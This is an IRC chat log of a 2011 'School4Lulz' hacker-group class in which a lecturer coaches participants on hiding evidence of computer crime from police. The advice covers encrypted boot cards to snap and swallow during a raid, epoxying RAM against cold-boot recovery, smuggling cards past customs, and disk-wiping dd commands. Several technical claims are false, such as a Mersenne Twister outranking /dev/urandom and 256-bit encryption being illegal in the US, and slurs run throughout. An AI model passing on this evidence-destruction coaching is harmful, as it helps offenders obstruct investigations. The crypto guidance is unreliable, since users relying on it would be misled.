[23:14:39] ~Fox: then leave.
[23:14:50] ~Fox: Also StalluManu and whiteh8 provide good points.
[23:14:54] ~Fox: Class fucking dismissed.

Cryptography and Detection (by Fox & Hatter)

Posted by xoxo on June 11, 2011 None comments

#School4Lulz Crypto Talk – - Find us at irc.lulzco.org
Donations to 18hRWnxoHztBPDYQ9bPA1uUpN8LTrd7xbB -> Bitcoin
Advanced Classes coming soon

StalluManu: Everyone here?
[17:38:38] ~Fox: nigga
[17:38:38] %eax: lolwat
[17:38:42] ~Fox: 6:13:37
[17:38:52] lolwat: it's 01:38 GMT
[17:38:56] lolwat: i'm in portugal, so…
[17:38:59] lolwat: time to sleep =(
[17:39:13] %eax: aww
[17:39:13] Dox: pst?
[17:39:24] lolwat: take 8 hours
[17:39:28] %LordKitsuna: 5:39
[17:39:30] lolwat: 01:39 AM i mean
[17:39:44] Dox: then you miss out
[17:40:00] lolwat: i read the logs…
[17:40:15] Dox: yeah I have had to aswell, was on a trip for a few days
[17:40:19] ~Fox: Well
[17:40:27] Fox sets mode +h StalluManu
[17:40:34] ~Fox: StalluManu is todays guezt speeker
[17:40:41] zone: yay
[17:40:46] ~Fox: Ask this nigga if he is ready to start
[17:40:56] %StalluManu: always read.
[17:40:58] Hellspawn: Scuse me Nigz, you ready?
[17:40:58] %StalluManu: *ready
[17:41:13] %StalluManu: so, we start early then?
[17:41:17] %eax: stallu is a cool cat

[17:41:17] Anorov: what's this lesson on?
[17:41:18] zone: NAO
[17:41:21] zone: +m
[17:41:25] Hellspawn: Cryptography and detection.
[17:41:25] Fox sets mode +m
[17:41:36] ~Fox: dont be askin me for v and shit
[17:41:40] %StalluManu: LISTEN UP FAGS. You've learned shit that can get you v&.
[17:42:17] %StalluManu: Today's goal is to educate you pieces of grabbastic amphibian shit on how to prevent other people from doxing you, and how to prevent going to jail.
[17:42:29] %StalluManu: First of all…
[17:42:37] -CTCP- VERSION from StalluManu
[17:42:45] %StalluManu: Wow….
[17:42:49] %StalluManu: Some of you even use MIRC.
[17:42:52] whiteh8 (~whiteh8@457983EB.FF3F5C6F.ED3D20FE.IP) joined the channel.
[17:43:03] %StalluManu: You see, to prevent people from doxing you.. you first have to have a secure box yourself.
[17:43:05] Fox sets mode +h whiteh8
[17:43:07] %StalluManu: so STOP RUNNING SHIT SOFTWARE.
[17:43:15] %StalluManu: Mirc is a fine example of it.
[17:43:19] %LordKitsuna: xchat= shit?
[17:43:29] %whiteh8: thx fox
[17:43:38] %StalluManu: xchat=shit.
[17:43:52] %StalluManu: prefer anything with SIMPLE CODE. commandline > GUI.
[17:43:58] %StalluManu: Less code is LESS TO EXPLOIT.
[17:44:10] %whiteh8: #hipsterhackers
[17:44:13] %StalluManu: More urgently: get the fuck rid off of mirc.
[17:44:22] %StalluManu: There's two exploits in the wild that i know of, one that i have.
[17:44:32] %eax: kthnx
[17:44:54] %StalluManu: now that you all know that you're running retarded software, i recommend you install linux.
[17:45:18] %StalluManu: 'cause i will not try to cover patching up a windows box, and windows specific shit.
[17:45:57] %StalluManu: So, let's say you got your retarded ass into trouble, and got hacked. Sorry, but you're fucked. This talk is not going to help you.
[17:46:29] %StalluManu: However if you seek to prevent the feds that will undoubtedly raid your home one day from reading your logs, stay the fuck in here.
[17:46:45] %StalluManu: The basics: get truecrypt.
[17:47:03] %StalluManu: On linux you will need to modify your initrd to encrypt a full partition, check the arch or gentoo wiki on how to do that.
[17:47:10] %StalluManu: CHOOSE A STRONG FUCKING PASSWORD.
[17:47:23] %StalluManu: if you dont, why the fuck bother?
[17:47:27] %whiteh8: (unmount it every night)
[17:47:44] darkmatter (~darkmatte@LulzCo-9808FA01.cpe.metrocast.net) joined the channel.
[17:47:45] %StalluManu: whiteh8: good point.
[17:47:49] %whiteh8: before bed
[17:47:51] %StalluManu: Feds will probably raid your house at night.
[17:47:59] %whiteh8: 4-6am
[17:48:06] %StalluManu: So if you want to prevent them from recovering shit, shut that shit down.
[17:48:06] lululu (cackledack@BE33FEAC.7EEC6A54.934538AF.IP) joined the channel.
[17:48:24] %StalluManu: Now, here's the idea for REALLY FUCKING PARANOID PEOPLE.
[17:48:42] %StalluManu: #1: Compile gentoo and make a /boot and / partition on a microsd card.
[17:48:50] %StalluManu: add truecrypt to your initrd.
[17:49:06] daniel (~daniel@is.cool) joined the channel.
[17:49:10] %StalluManu: add various checksums of files in your initrd to the truecrypted root partition: so you know when you're compromised.
[17:49:28] %StalluManu: from now on you run your OS from that microsd card.
[17:49:41] %StalluManu: keep ONE backup, burried somewhere.
[17:50:00] %StalluManu: now. wat do if feds raid your house and the comp is still on?
[17:50:06] %StalluManu: you boot from that card remember?
[17:50:08] %StalluManu: pull the card.
[17:50:10] %StalluManu: break it in half.
[17:50:10] %StalluManu: eat it.
[17:50:32] %StalluManu: good luck to the fed trying to recover from a broken encrypted piece of flash memory.
[17:50:50] %whiteh8: that's awesome
[17:50:55] %StalluManu: Note: we're covering hardware shit now.
[17:51:03] DaveH (~DaveH@LulzCo-7A24A8D1.dsl.eclipse.net.uk) left IRC. (Ping timeout: 240 seconds)
[17:51:09] %StalluManu: BUT IHAZ A LAPTOP/I GO IN PUBLIC/ I WONT DARE TO DO THAT WITH A GUN POINTED TO MY HEAD.
[17:51:12] %StalluManu: good point faggot.
[17:51:20] %StalluManu: The way they recover the key when your box is on is a cold boot attack.
[17:51:36] %StalluManu: If you use liquid nitrogen to freeze the RAM banks, they retain their data pretty well.
[17:51:42] %StalluManu: That data contains the decryption key of your volume.
[17:51:45] %StalluManu: if they do this, you are fucked.
[17:51:47] %StalluManu: But no worries.
[17:52:03] %StalluManu: You can avoid this using a really goddamn simple technique.
[17:52:21] %StalluManu: #1: Epoxy the bios battery in place WITH A FUCKTON OF GLUE (dont cover

the pins that connect it).
[17:52:28] %StalluManu: #2: EPOXY YOUR RAM IN PLACE
[17:52:32] %StalluManu: #3: set a boot password.
[17:52:40] %StalluManu: voilla, they cant boot, they cant take the ram, they cant extract data.
[17:53:01] %StalluManu: so even if they raid you, get the card whole, the computer online, they cant do shit.
[17:53:22] ~Fox: Thermite is for the movies faggots.
[17:54:00] %StalluManu: Now, after you do this you wont be able to reset your bios, so you better not fuck it up/forget the password, or your box is bricked.
[17:54:13] %StalluManu: The key here is that a COLD BOOT ATTACK CAN WORK FOR UP TO 45 MINUTES AFTER SHUTDOWN.
[17:54:15] %StalluManu: REMEMBER THAT FAGS.
[17:54:16] %StalluManu: 45 MINUTES.
[17:54:29] %StalluManu: YOU HAVE TO DETER THE FEDS FROM BOOTING INTO YOUR SYSTEM FOR 45 MINUTES.
[17:54:50] %StalluManu: THAT BETTER BE A FUCKTON OF GLUE ATTACHING IMPORTANT PIECES OF YOUR MOBO TO YOUR BATTERY.
[17:54:58] %StalluManu: oh, and dont cover chips, they get hot, kthnx?
[17:55:19] %StalluManu: Now that we've got the physical part of cold booting taken care off, there's more common shit.
[17:55:24] %StalluManu: HARDWARE KEYLOGGERS.
[17:55:30] %StalluManu: CHECK THE BACK OF YOUR PC EVERY TIME YOU BOOT IT.
[17:55:46] Inquisition (~trancecat@LulzCo-A49AC652.bchsia.telus.net) joined the channel.
[17:55:49] %StalluManu: DO NOT USE A LAPTOP AFTER THE CUSTOMS AT THE AIRPORT CHECKED IT, JUST DUMP THE FUCKING THING (YOU NEVER KNOW WHAT THEY PUT ON IT).
[17:56:06] smegma (~smoke@LulzCo-2377F13.torservers.net) joined the channel.
[17:56:12] %whiteh8: two things; it's not illlegal for feds to break into your place and put bugging devices in place
[17:56:22] %whiteh8: if you're going across the border, MAIL your laptop to your hotel
[17:56:38] ~Fox: *
[17:56:39] %StalluManu: laptop void if seal is broken.
[17:56:42] ~Fox: ProTip:
[17:56:56] noneya1238 (~quassel@LulzCo-627E1128.static.privatedns.com) joined the channel.
[17:57:06] ~Fox: Any time I go through the airport, Laptop is FedEx overnighted to the hotel.
[17:57:14] ~Fox: SD Card is kept in my wallet
[17:57:17] xlate (~xtal@LulzCo-B26D449D.getinternet.no) joined the channel.
[17:57:21] ~Fox: Keyfile is kept in checked luggage.
[17:57:24] ShadowDXS (~UMADBRO@LulzCo-FA2FECC2.cfl.res.rr.com) joined the channel.
[17:57:28] %StalluManu: PROTIP: you have dollar coins that can house a microsd card.
[17:57:32] %StalluManu: BUY ONE.
[17:57:35] %StalluManu: put the microsd card in it.
[17:57:39] ~Fox: +1
[17:57:42] %StalluManu: easy walk trough customs even if they check your fucking wallet.
[17:57:45] eax sets mode +v darkspline
[17:57:53] %StalluManu: everyone follow?
[17:58:00] %StalluManu: Because shit will get a lot more technical and hairy later on.
[17:58:02] %whiteh8: http://www.amazon.com/US-Mint-Quarter-Covert-Compartment/dp/B0036VJHXG
[17:58:25] %StalluManu: So: BOOT FROM AN ENCRYPTED MICROSD CARD. HAVE ONE BACKUP.
[17:58:48] %StalluManu: Recommended distro: gentoo, a huge fucking install in a squashfs image (See also: how to make a liveusb) takes only 2gb.
[17:58:50] eax sets mode +v Shidash
[17:58:58] %StalluManu: Now here's a few pointers before you go booting off of flass.
[17:59:00] %StalluManu: *flash.
[17:59:06] %StalluManu: FORMAT WITH EXT2. you do NOT want a journal.
[17:59:18] %StalluManu: mount with noatime nodiratime, you do NOT want excess writes.
[17:59:28] %StalluManu: After 10-100 writes per block, flash memory DIES.
[17:59:32] Fox sets mode +h t
[17:59:37] %StalluManu: so a 16gb sd card takes 160gb of writes, then it's DEAD.
[18:00:08] %StalluManu: you WILL run into this the first one or two months you use and tweak your distro.
[18:00:24] %StalluManu: Now that you've got this k-rad setup, you think that the government can't bruteforce your shit.
[18:00:28] %StalluManu: WRONG.
[18:00:38] %StalluManu: There's ps3 truecrypt bruteforcers (dictionary attack) out there.
[18:00:45] %StalluManu: yes for truecrypt volumes
[18:01:02] %StalluManu: the NSA can currently guess about 1.5m truecrypt keys a second, making a 8 characters password within their reach.
[18:01:13] %StalluManu: now, there's a solution to that.
[18:01:26] %StalluManu: But first more about what encryption does.
[18:01:28] %StalluManu: Encryption CAN ALWAYS BE CRACKED.
[18:01:29] %whiteh8: mine's over 30
[18:01:38] %StalluManu: mine's over 60 chars.
[18:01:43] %StalluManu: i got two passes btw.
[18:01:54] +Shidash: Mine is over 60
[18:02:01] %StalluManu: Now: what encryption does is BUY YOU TIME.
[18:02:28] %StalluManu: you are HOPING for the persecution limit (am i saying this right) of your crime to expire before the encryption is cracked.
[18:02:39] ~Fox: prosecution.
[18:02:52] @garrett: what

[18:02:57] @garrett: the statute of limitations?
[18:03:00] @garrett: cmon
[18:03:01] ~Fox: THANK YOU
[18:03:01] %StalluManu: yup.
[18:03:09] %StalluManu: I'
[18:03:09] %whiteh8: that's typically a few years
[18:03:12] @garrett: you're joking right?
[18:03:12] @garrett: like
[18:03:14] @garrett: you're implying
[18:03:15] ~Fox: Decade.
[18:03:16] @garrett: that the government
[18:03:17] %StalluManu: I'm not an Amerifag.
[18:03:18] @garrett: will waste
[18:03:21] @garrett: millions in resources
[18:03:25] @garrett: so they can crack your drive
[18:03:30] @garrett: so they can see you looking at furry porn
[18:03:32] @garrett: and you 600 bots
[18:03:34] %StalluManu: In the european union the statue of limitations is 18 years for computer crime.
[18:03:35] @garrett: be realistic.
[18:03:38] ~Fox: Lol
[18:03:40] ~Fox: Hold up
[18:03:46] ~Fox: let me lay down the law real quick
[18:04:02] ~Fox: Now, your level of 'hot-ness' is dependent upon what they got you for
[18:04:12] +Shidash: garrett: They have a limited budget. Waste enough time and money and they stop.
[18:04:17] ~Fox: They kick in your door for a simple unauthorized access of a DC box,
[18:04:25] ~Fox: You get maybe a few days worth of their time
[18:04:27] ~Fox: You hit a company
[18:04:40] FireStarter (~FireStart@2310E577.8E384C6C.DD213F82.IP) left IRC.
[18:04:44] ~Fox: Hell maybe you get six months of their time, maybe more, maybe less.
[18:04:46] Bruiser_ (~Bruiser@LulzCo-3E399AAD.ri.ri.cox.net) left IRC. (Quit: Leaving)
[18:04:47] ~Fox: You hit them,
[18:04:52] ~Fox: maybe you see a year or two
[18:04:54] @garrett: lol
[18:04:54] @garrett: ok
[18:04:55] @garrett: so
[18:05:06] @garrett: in order for any electronic case to be viable in federal court
[18:05:07] %StalluManu: You are me: you get all their time.
[18:05:14] %whiteh8: honestly if you aren't playing around with money, they're not going to waste a lot of time on you
[18:05:15] @garrett: you have to cause X number of monetary damage
[18:05:25] figgybit (~whatsthis@LulzCo-D6241CCF.c3-0.avec-ubr2.nyr-avec.ny.cable.rcn.com) left IRC. (Ping timeout: 240 seconds)
[18:05:41] @garrett: you guys should really read up on stuff like this before just babbling paranoid nonsense
[18:05:42] tzaki (~shinji@LulzCo-912C65A8.know.cable.virginmedia.com) left IRC. (Remote host closed the connection)
[18:05:47] %StalluManu: garett: That depends, again, on the country.
[18:05:47] @garrett: and scaring the kids
[18:05:56] %StalluManu: garett: The european union will screw you in the ass, then some more.
[18:06:12] %StalluManu: garett: Don't believe me? Ask Awinee lulz.
[18:06:15] ~Fox: @garrett respect your enemy :/
[18:06:18] %StalluManu: They even go after DDOS Kids.
[18:06:18] +Shidash: If you are playing with their documents then they will still spend time on you.
[18:06:27] ~Fox: Ok we're getting into a debate here
[18:06:29] @garrett: Oh ofc
[18:06:37] ~Fox: So just to kill it
[18:06:38] %StalluManu: ok.
[18:06:40] %StalluManu: here's the deal.
[18:06:51] ~Fox: You fuck up, you best hope you made sure you handled business.
[18:06:52] ~Fox: Period.
[18:06:54] %StalluManu: you piss off someone important, show their incompetence. they will rape you.
[18:07:15] %StalluManu: Now, security is about buying TIME.
[18:07:26] %StalluManu: The amounth of TIME You buy varies depending on the STRENGTH of your encryption.
[18:07:33] %StalluManu: STRENGHT is not measured in bits of key.
[18:07:42] tzaki (~shinji@LulzCo-912C65A8.know.cable.virginmedia.com) joined the channel.
[18:07:43] %StalluManu: aes-256 has a SHITTY key scheme and is weaker than aes-128.
[18:08:05] %StalluManu: You generally want LAYERS Of encryption.
[18:08:08] CallumP (~CallumP@AB4D6821.54D467FB.C718F53C.IP) left IRC. (Quit: Colloquy for iPhone – http://colloquy.mobi)
[18:08:21] %StalluManu: If one cipher is broken, because shit happens or it was backdoored, they'll have to break the next, and so on.
[18:08:31] %StalluManu: The more ciphers, the more TIME it takes.
[18:08:35] %eax: brb
[18:08:48] eax (root@LulzCo-39E54686.sister.is.pregnant.and.itsbecauseof.me) left IRC. (Remote host closed the connection)
[18:08:51] %StalluManu: Ok, so now you've got a huge ass password, and a huge ass set of strong

ciphers(google for them fag).
[18:08:58] %StalluManu: HOW THE FUCK DOES IT WERK?
[18:09:14] %StalluManu: Ok, your password is hashed, using a one-way function.
[18:09:33] %StalluManu: Think of a hash function as counting: 1 for a, 2 for b, and adding it. Just in a way that is cryptographically secure, and unlikely to generate collisions.
[18:09:43] garrett sets mode +v tminus
[18:09:47] %StalluManu: a hash COLLISION (a+a=b) means you can use a DIFFERENT pass to decrypt the data.
[18:09:52] %StalluManu: which is bad.
[18:10:06] %whiteh8: 2 strings evaluates to the same hash
[18:10:12] %StalluManu: collisions are dependent on the hash function, but mostly on the LENGTH Of the hash in bits.
[18:10:30] %StalluManu: weak algorithms: md5,sha1,md4,ntlm,lm
[18:10:43] +darkspline: what do you prefer?
[18:10:43] %StalluManu: strong algorithms:whirlpool,ripemd160,sha512
[18:10:46] +darkspline: k
[18:11:01] %StalluManu: Now, these hashes are important.
[18:11:05] %StalluManu: You see, they ARE not the password.
[18:11:09] %StalluManu: And there's no way to reverse them.
[18:11:14] %StalluManu: then how the fuck do you check if the password was correct?
[18:11:27] +darkspline: whirlpool(pass)
[18:11:37] %StalluManu: well, you run the password that's entered trough the hash function, compare the value, if they are the same, they are the same password.
[18:11:43] %StalluManu: (with a high likelihood)
[18:11:50] %StalluManu: (really fucking high likelihood)
[18:12:09] %StalluManu: hashes are bruteforcable because of the way you check them.
[18:12:14] %StalluManu: You have a hash function, and a hash.
[18:12:15] %whiteh8: StalluManu, on that same note, md5 file checksums will also collide, in case that wasn't clear to anyone
[18:12:31] LJ_Borges (~LJBorges@69E13FB2.8509785D.B3432783.IP) joined the channel.
[18:12:36] %StalluManu: You run random passwords trough the function till you have a match, then you know the password.
[18:12:40] %StalluManu: This is how hash bruteforcing works.
[18:12:54] %StalluManu: (usually not a random password, but incremental, for the dumbasses under us)
[18:13:09] %StalluManu: Bruteforcing is REALLY FUCKING FAST if you design your function shittily.
[18:13:31] %StalluManu: You see, you can just compute hashes beforehand, and run a password against a table of them (actually chains of them, later more on RTS).
[18:13:50] %StalluManu: That makes it really fucking efficient to pwn your password! Fuck! we dont want that!
[18:13:58] %StalluManu: the solution: say whirlpool is your hash function
[18:14:04] %StalluManu: so whirlpool("ANUS")=some hash
[18:14:14] %StalluManu: you just do whirlpool(whirlpool("ANUS"))
[18:14:24] %StalluManu: and continue applying whirlpool till it's really fucking slow.
[18:14:27] %StalluManu: i prefer 20k passes.
[18:14:31] +darkspline: werd
[18:14:45] %StalluManu: now that it's really fucking slow, it takes really fucking long to make one guess.
[18:14:48] %StalluManu: that's what you want.
[18:14:59] +darkspline: time
[18:15:04] +darkspline: this is sick
[18:15:05] atriox (~not@LulzCo-99D4CD75.tcso.qwest.net) left IRC. (Quit: http://www.mibbit.com ajax IRC Client)
[18:15:33] %StalluManu: There's various functions for chaining hash functions, that are secure, i will not go into this, but google pbkdf2, click the wiki link to learn more.
[18:15:48] %StalluManu: Now, you've got a fucking slow hash function.
[18:16:03] %StalluManu: You are still vulnerable to people that will just compute all keys and check your hash against a fucking table.
[18:16:06] %StalluManu: WAT DO?
[18:16:24] %StalluManu: so some fuckwit got a brilliant idea.
[18:16:31] %StalluManu: he added some random data he stored somewhere inside the hashing function
[18:16:34] %StalluManu: appended it to the password.
[18:16:35] %StalluManu: like so:
[18:16:43] %StalluManu: whirlpool("ANUS"+a;ldfkjas;ldkfjas;ldfjasd;lfkj)
[18:16:53] FireStarter (~FireStart@LulzCo-C098333B.formlessnetworking.net) joined the channel.
[18:17:00] %dsr: salts arent random they're precomputed
[18:17:05] %StalluManu: Now to crack that hash, you have to compute a DIFFERENT SET of really fucking long hashes for each random sant.
[18:17:12] %StalluManu: dsr: randomness later.
[18:17:19] %StalluManu: *salt
[18:18:06] lolwat (~lolwutder@LulzCo-E1DDE26A.rev.vodafone.pt) left IRC. (Quit: Saindo)
[18:18:08] %StalluManu: Now that you have a password, that's really slow to guess, and salted, it'll be hard to reverse right?
[18:18:23] exo (47e61e8a@LulzCo-5910E532.mibbit.com) left IRC. (Quit: http://www.mibbit.com ajax IRC Client)
[18:18:25] +darkspline: right.
[18:18:40] %StalluManu: Well, conveniently, our encryption algorithm needed a key.
[18:18:44] %StalluManu: We feed it this hash.

[18:18:54] Wearemudkipz (~Fire-Wolf@LulzCo-843DA4E1.cable.virginmedia.com) left IRC. (Remote host closed the connection)
[18:19:09] Wearemudkipz (~Fire-Wolf@LulzCo-843DA4E1.cable.virginmedia.com) joined the channel.
[18:19:16] %StalluManu: So we get #1: more bits of data than our key was long (hopefully). #2: a key that's slow to bruteforce.
[18:19:32] %StalluManu: This is the basis of cryptography.
[18:19:42] %StalluManu: Making shit difficult and slow to bruteforce.
[18:19:54] %StalluManu: Everyone follow up till now?
[18:19:54] atriox (~not@LulzCo-99D4CD75.tcso.qwest.net) joined the channel.
[18:19:58] %StalluManu: pm me if you didnt.
[18:20:10] +darkspline: y, i do
[18:20:30] %StalluManu: Now we've got a good encryption algorithm, a good key scheme, but how the fuck do we generate a random salt.
[18:20:38] dontHackMeBro (~sabu@E8F45C19.38111A3C.7546FE14.IP) joined the channel.
[18:20:47] %StalluManu: computers are logical machines.
[18:20:52] %StalluManu: they DO NOT DO randomness.
[18:21:13] %StalluManu: Unless you have a geigercounter, a RF antenna collecting noise or something measuring the splitting of laser beams hooked up to your box that is.
[18:21:25] %StalluManu: Knowing that computers are not random however is important.
[18:21:43] %StalluManu: Randomness is gathered from various sources. Traditionally your cpu's tick counter is one.
[18:21:52] %StalluManu: Running programs and their memory space is another.
[18:22:02] %StalluManu: User input is an important one in linux.
[18:22:08] %StalluManu: As well as USB bus communication.
[18:22:18] %StalluManu: Want weird random numbers? plug a fuckton if I/O devices into your USB ports.
[18:22:49] %StalluManu: Now, a STRONG random number generator has a LOW Likelihood of producing repeating segments.
[18:22:52] %StalluManu: repeating segments are bad.
[18:23:01] %StalluManu: because a salt of aaaaaaaaaaaaaaaaaaaa is easy as fuck to guess.
[18:23:03] Onions (~routes@B6E41A8C.B430B949.89A5C299.IP) joined the channel.
[18:23:41] %StalluManu: My favorite STRONG rng to feed with shit is a mersenne twister (the highest polynomial one) fed with /dev/random.
[18:23:43] Brandon (~brandon@LulzCo-496F86DC.columbus.res.rr.com) joined the channel.
[18:23:54] %StalluManu: if you don't know what that means, google it.
[18:24:06] %StalluManu: So, that's how a salt is generated.
[18:24:19] %StalluManu: Now back to the point: there are truecrypt bruteforcers out there.
[18:24:26] Agrajag (~harhar@LulzCo-6C4BAAB9.bu.edu) joined the channel.
[18:24:48] %StalluManu: Fortunately, truecrypt stores it's key headers in the last and first 128kb of the encrypted partition (first 512 and last 512 bytes block, but it's safer to encrypt more).
[18:25:06] %StalluManu: So what we'll do is encrypt those blocks with another encryption tool, that is way slower.
[18:25:45] %StalluManu: Extract the decrypted blocks to a overlay for an overlay FS in RAM for the encrypted image.
[18:25:56] %StalluManu: voilla, something the FBI doesn't have a program to bruteforce.
[18:26:08] %StalluManu: Now, Fox, do you still have that ling to paranoiacrypt?
[18:26:14] %StalluManu: or do i haz to re-up it.
[18:26:14] ~Fox: Nope
[18:26:18] ~Fox: It's buried away :/
[18:26:35] %StalluManu: Ok, give 'em voice while i upload plz:P
[18:26:58] ~Fox: who wants voice.
[18:27:12] %StalluManu: just enable -m
[18:27:27] -srwx- haha i'll be good
[18:27:28] Fox sets mode -m
[18:27:37] ShadowDXS (~UMADBRO@LulzCo-FA2FECC2.cfl.res.rr.com) left IRC. (Quit: Leaving)
[18:27:40] spartacus: I accidentally the whole gibson
[18:27:42] %StalluManu: So, everyone follow?
[18:27:45] nyann: why so much crypto if the gov. can just beat they keys out of you?
[18:27:45] +Shidash: yes
[18:27:46] Hellspawn: very good so far
[18:27:52] %StalluManu: nyann: later.
[18:27:54] srwx: indeed, very good presentation StalluManu
[18:27:55] nyann: you can get put in jail if you don't decrypt
[18:27:55] s4: I do, excellent job
[18:27:57] lululu (cackledack@BE33FEAC.7EEC6A54.934538AF.IP) left the channel. (TWINKLE TWINKLE LITTLE STAR)
[18:27:58] halcyon: nyann that's what Guantanamo is for
[18:27:59] s4: oh and btw
[18:28:00] s4: >StalluManu< CTCP VERSION mIRC 5.91 (16 bit) for Microsoft © Windows For WorkGroups 3.11®
[18:28:03] +darkspline: StalluManu, i follow
[18:28:04] halcyon: and the prisoner trainers
[18:28:05] s4: that's fake
[18:28:05] halcyon: trains
[18:28:06] s4:
[18:28:10] nyann: StalluManu: btw this is great
[18:28:18] lululu (cackledack@BE33FEAC.7EEC6A54.934538AF.IP) joined the channel.
[18:28:21] LJ_Borges: I pretty much missed everything, derp

[18:28:25] spartacus: [2011/06/09-02:28:20] [StalluManu VERSION reply]: irssi v0.8.15 – running on Linux x86_64
[18:28:25] +darkspline: StalluManu, ditto!
[18:28:34] LJ_Borges: Bloody timezones.
[18:28:42] LJ_Borges: Can anyone throw the logs in pastebin?
[18:28:49] auer: yes, v gd, thx
[18:28:51] spartacus: oic
[18:28:51] spartacus: [2011/06/09-02:28:44] [s4 VERSION] mIRC 5.91 (16 bit) for Microsoft © Windows For WorkGroups 3.11®
[18:28:52] spartacus: lol
[18:28:53] s4: it's spoofed
[18:28:54] halcyon: LJ_Borges i will
[18:28:55] s4: haha
[18:29:00] %StalluManu: ok fags, let's continue.
[18:29:05] halcyon: after he's done
[18:29:07] LJ_Borges: halcyon: Thanks
[18:29:16] %StalluManu: Fox: +m please.
[18:29:19] nyann: +v please
[18:29:20] spartacus: s4 change it to 256bit for windows 8
[18:29:29] s4: lol
[18:29:39] Fox sets mode +m
[18:29:47] %StalluManu: http://www.qooy.com/files/0BRUOEDNOD/paranoiacrypt_1.zip ok, here you go.
[18:29:50] %StalluManu: it's SOURCE ONLY.
[18:29:53] %StalluManu: And will ONLY WORK ON LINUX.
[18:30:00] %StalluManu: Because microsoft's compiler is utter and complete fucking shit.
[18:30:10] %StalluManu: READ THE FUCKING CODE.
[18:30:17] %StalluManu: Now, what this does.
[18:30:25] +darkspline: StalluManu, thank you btw
[18:30:39] %StalluManu: It encrypts single files using 3 algorithms, one after another, in XTS chaining mode.
[18:30:50] %StalluManu: XTS chaining is a way to turn a block cipher into a stream cipher (google it faggot).
[18:31:05] MrLinux (~mail@LulzCo-4D35FFA3.goeaston.net) left IRC.
[18:31:20] %StalluManu: Now, it uses 3* aes-256, 3* whirlpool and 3* serpent to encrypt data.
[18:31:32] %StalluManu: meaning that if you forget the key, the sun will burn out and the fucking universe will die before you recover it.
[18:31:36] %StalluManu: in XTS mode, that's 18 keys.
[18:31:42] %StalluManu: 18 256-bits keys.
[18:31:54] %StalluManu: Speaking of bitcounts: 256 bits encryption for civies is illegal in the US of anus.
[18:32:09] %StalluManu: So hide the damn binary.
[18:32:24] %StalluManu: Now, this program is really fucking slow.
[18:32:33] %StalluManu: On an opteron, it takes 1.5-2 seconds to generate a hash from a key.
[18:32:41] %StalluManu: WHY?
[18:32:42] Onions (~routes@B6E41A8C.B430B949.89A5C299.IP) left the channel.
[18:32:53] Onions (~routes@B6E41A8C.B430B949.89A5C299.IP) joined the channel.
[18:32:56] %StalluManu: it uses whirlpool(ripemd160(sha512())) in pbkdf2 mode.
[18:33:03] %StalluManu: 20k rounds of each.
[18:33:08] figgybit (~whatsthis@LulzCo-D6241CCF.c3-0.avec-ubr2.nyr-avec.ny.cable.rcn.com) joined the channel.
[18:33:09] %StalluManu: it is not fucking LIKELY that anyone will bruteforce this.
[18:33:31] +darkspline: wow
[18:33:39] %StalluManu: You are also free to mess with the code, change the order of algorithms to make your own version.
[18:33:40] +darkspline: i'm following you StalluManu
[18:33:46] %StalluManu: I recommend you do this, so that there's not one standard version.
[18:33:47] +darkspline: this is some fucking shit right here
[18:34:20] +darkspline: go on, i'm sorry
[18:34:23] %StalluManu: So, with there not being one standard version, (changing main.cpp is really easy) the feds will have to write a bruteforcer for each fucking person.
[18:34:31] %StalluManu: NOT FUCKING WORTH THE TIME AND MONEY.
[18:34:39] %StalluManu: But wait.
[18:34:41] %StalluManu: There's an other way.
[18:35:07] %StalluManu: Why waste that much time and money when you can beat someone over the head with a $5 wrench till they give you the password!
[18:35:18] %StalluManu: This is where plausible deniability comes into play.
[18:35:25] grepped (~phracktio@LulzCo-6EB22B54.pools.spcsdns.net) joined the channel.
[18:35:28] +darkspline: i know this!
[18:35:31] %StalluManu: You should have two installations. One really small minimal one with some porn or something.
[18:35:32] +darkspline: w00000r
[18:35:33] drop (~drop@LulzCo-2DC94304.members.linode.com) joined the channel.
[18:35:38] thaNatozZ (~eack@7D2942A.5DA872CF.5DA7B89E.IP) joined the channel.
[18:35:46] %StalluManu: Some embarassing shit, but nothing illegal.
[18:36:05] %StalluManu: The important thing to know is that good encrypted data can't be distinguished from random data.
[18:36:12] halfdead (~halfdead@49E335EB.5D85DF6F.6D6C1268.IP) joined the channel.
[18:36:15] +darkspline: on the FS level

[18:36:21] +darkspline: i've written papers on this
[18:36:31] %StalluManu: So the first thing you do, after you have your microSD card is fill it with random data, like so: dd if=/dev/urandom of=/dev/sdX
[18:36:32] +darkspline: StalluManu, you my nigger
[18:36:45] %StalluManu: it is BEST If you use a mersenne twister to generate this data.
[18:36:50] %StalluManu: As /dev/urandom is not really that random.
[18:36:55] %StalluManu: wait
[18:36:58] %StalluManu: i have source somehwere.
[18:37:02] %StalluManu: unmute and give me 3 mins.
[18:37:41] +darkspline: i'll wait a long fucking time for you right now
[18:37:50] pyr0tic (~roflatu@1A82D6F7.B2B6FB9E.E94341D5.IP) joined the channel.
[18:38:16] +darkspline: pyr0tic, you missed it.. might as well log off
[18:38:30] %StalluManu: also sum1 log this.
[18:38:42] %StalluManu: http://www.qooy.com/files/0QF4B8GPTX/RNG.zip here you go, a really fucking fast random number generator.
[18:38:46] blu3beard (~none@LulzCo-CB9E1773.formlessnetworking.net) joined the channel.
[18:38:50] +darkspline: fox
[18:38:53] %StalluManu: It's a mersenne twister, but optimized a bit, and i minimized it's code.
[18:38:54] ~Fox: What up
[18:38:57] %StalluManu: So it's easier to understand.
[18:39:00] MrBlue (~MrBlue@LulzCo-B984F8F6.digineo.de) joined the channel.
[18:39:02] %StalluManu: READ THE FUCKING CODE, AND COMPILE IT YOURSELF.
[18:39:04] +darkspline: log his shit?
[18:39:06] Fox sets mode +o halfdead
[18:39:09] ~Fox: I am logging
[18:39:15] ~Fox: Going up on pastebin
[18:39:20] +darkspline: Fox, just making sure
[18:39:23] %StalluManu: Ok, now that you've compiled this, you have a RNG binary.
[18:39:28] +darkspline: ;0
[18:39:34] @halfdead: lol
[18:39:35] @halfdead: +o
[18:39:36] @halfdead: wow
[18:39:37] @halfdead: thanks
[18:39:39] %StalluManu: you can QUICKLY destroy a disk by doing this: RNG | dd of=/dev/sdX\
[18:39:46] %StalluManu: (omit that fucking slash)
[18:39:59] @halfdead: (which one)
[18:40:02] %StalluManu: This will write as fast as your disk will go, as opposed to the fucking slow /dev/urandom.
[18:40:06] %StalluManu: halfdead: last one.
[18:40:17] @halfdead: k
[18:40:17] %StalluManu: And it's a stronger RNG than /dev/urandom.
[18:40:33] @halfdead: dude
[18:40:40] %StalluManu: ya?
[18:40:57] @halfdead: /dev/urandom is awesome when you do for instance dd if=/dev/urandom of=/dev/sda1
